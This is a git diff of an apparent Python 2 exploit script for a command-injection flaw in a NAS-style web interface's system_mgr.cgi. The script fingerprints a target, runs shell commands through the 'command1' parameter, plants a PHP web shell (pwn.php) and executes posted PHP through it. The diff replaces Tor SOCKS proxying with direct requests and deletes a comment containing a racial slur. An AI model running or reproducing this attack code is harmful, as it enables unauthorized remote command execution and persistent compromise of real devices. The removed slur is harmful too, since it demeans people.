11#!/usr/bin/python2
22# coding: utf-8
3- import requesocks
3+ import requests
44import sys
55
66red = "\x1b [1;31m"
1212white = "\x1b [1;37m"
1313clear = "\x1b [0m"
1414
15- proxies = {'http' : 'socks5://127.0.0.1:9050' , 'https' : 'socks5://127.0.0.1:9050' }
16-
1715def banner ():
1816 print """
1917%s██████╗ ██╗ ██████╗ ███████╗███████╗██████╗ %s
@@ -29,7 +27,7 @@ def banner_grab(target):
2927 sys .stdout .write ("%s{*} Checking target fingerprint...%s" % (blue , clear ))
3028 sys .stdout .flush ()
3129 try :
32- r = requesocks .head (url = target , proxies = proxies , verify = False )
30+ r = requests .head (url = target , verify = False )
3331 except Exception , e :
3432 sys .stdout .write (" %s[failed]%s\n " % (red , clear ))
3533 sys .exit (0 )
@@ -44,7 +42,7 @@ def check_cgi(target):
4442 sys .stdout .write ("%s{*} Checking for /cgi-bin/system_mgr.cgi...%s" % (blue , clear ))
4543 sys .stdout .flush ()
4644 try :
47- r = requesocks .head (url = url , proxies = proxies , verify = False )
45+ r = requests .head (url = url , verify = False )
4846 except Exception , e :
4947 sys .stdout .write (" %s[failed]\n %s" % (red , clear ))
5048 sys .exit (0 )
@@ -59,7 +57,7 @@ def check_0day(target):
5957 sys .stdout .flush ()
6058 url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=id;"
6159 try :
62- r = requesocks .get (url = url , proxies = proxies , verify = False )
60+ r = requests .get (url = url , verify = False )
6361 except Exception , e :
6462 sys .stdout .write (" %s[failed]\n %s" % (red , clear ))
6563 sys .exit (0 )
@@ -77,7 +75,7 @@ def execute_command(target, command):
7775 command = command .replace (' ' , '%20' )
7876 url = target + "/cgi-bin/system_mgr.cgi?cmd=cgi_sms_test&command1=%s" % (command )
7977 try :
80- r = requesocks .get (url = url , proxies = proxies , verify = False )
78+ r = requests .get (url = url , verify = False )
8179 except Exception , e :
8280 sys .exit ("%s{-} Exception hit! Printing stack trace...\n %s%s" % (red , str (e ), clear ))
8381 output = r .text .replace ("Content-type: text/html" , "" )
@@ -106,7 +104,7 @@ def upload_shell(target):
106104 upload = execute_command (target , command = "echo -ne '%s'>/var/www/ajaxplorer/plugins/access.remote_fs/pwn.php" % (payload ))
107105 check_shell (target )
108106
109- def encode_php (phpcode ): #base64 that shit niqqa!
107+ def encode_php (phpcode ):
110108 phpcode = phpcode .encode ('base64' )
111109 phpcode = phpcode .replace ("\n " , "" )
112110 phpcode = phpcode .strip ()
@@ -117,7 +115,7 @@ def execute_php(target, php):
117115 postdata = {'woot' : php }
118116 url = target + '/ajaxplorer/plugins/access.remote_fs/pwn.php'
119117 try :
120- execute = requesocks .post (url = url , data = postdata , proxies = proxies , verify = False , allow_redirects = False )
118+ execute = requests .post (url = url , data = postdata , verify = False , allow_redirects = False )
121119 except Exception , e :
122120 sys .exit ("%s{-} Something went horribly wrong. Bailing!\n %s%s" % (red , str (e ), clear ))
123121 output = execute .text .rstrip ()
0 commit comments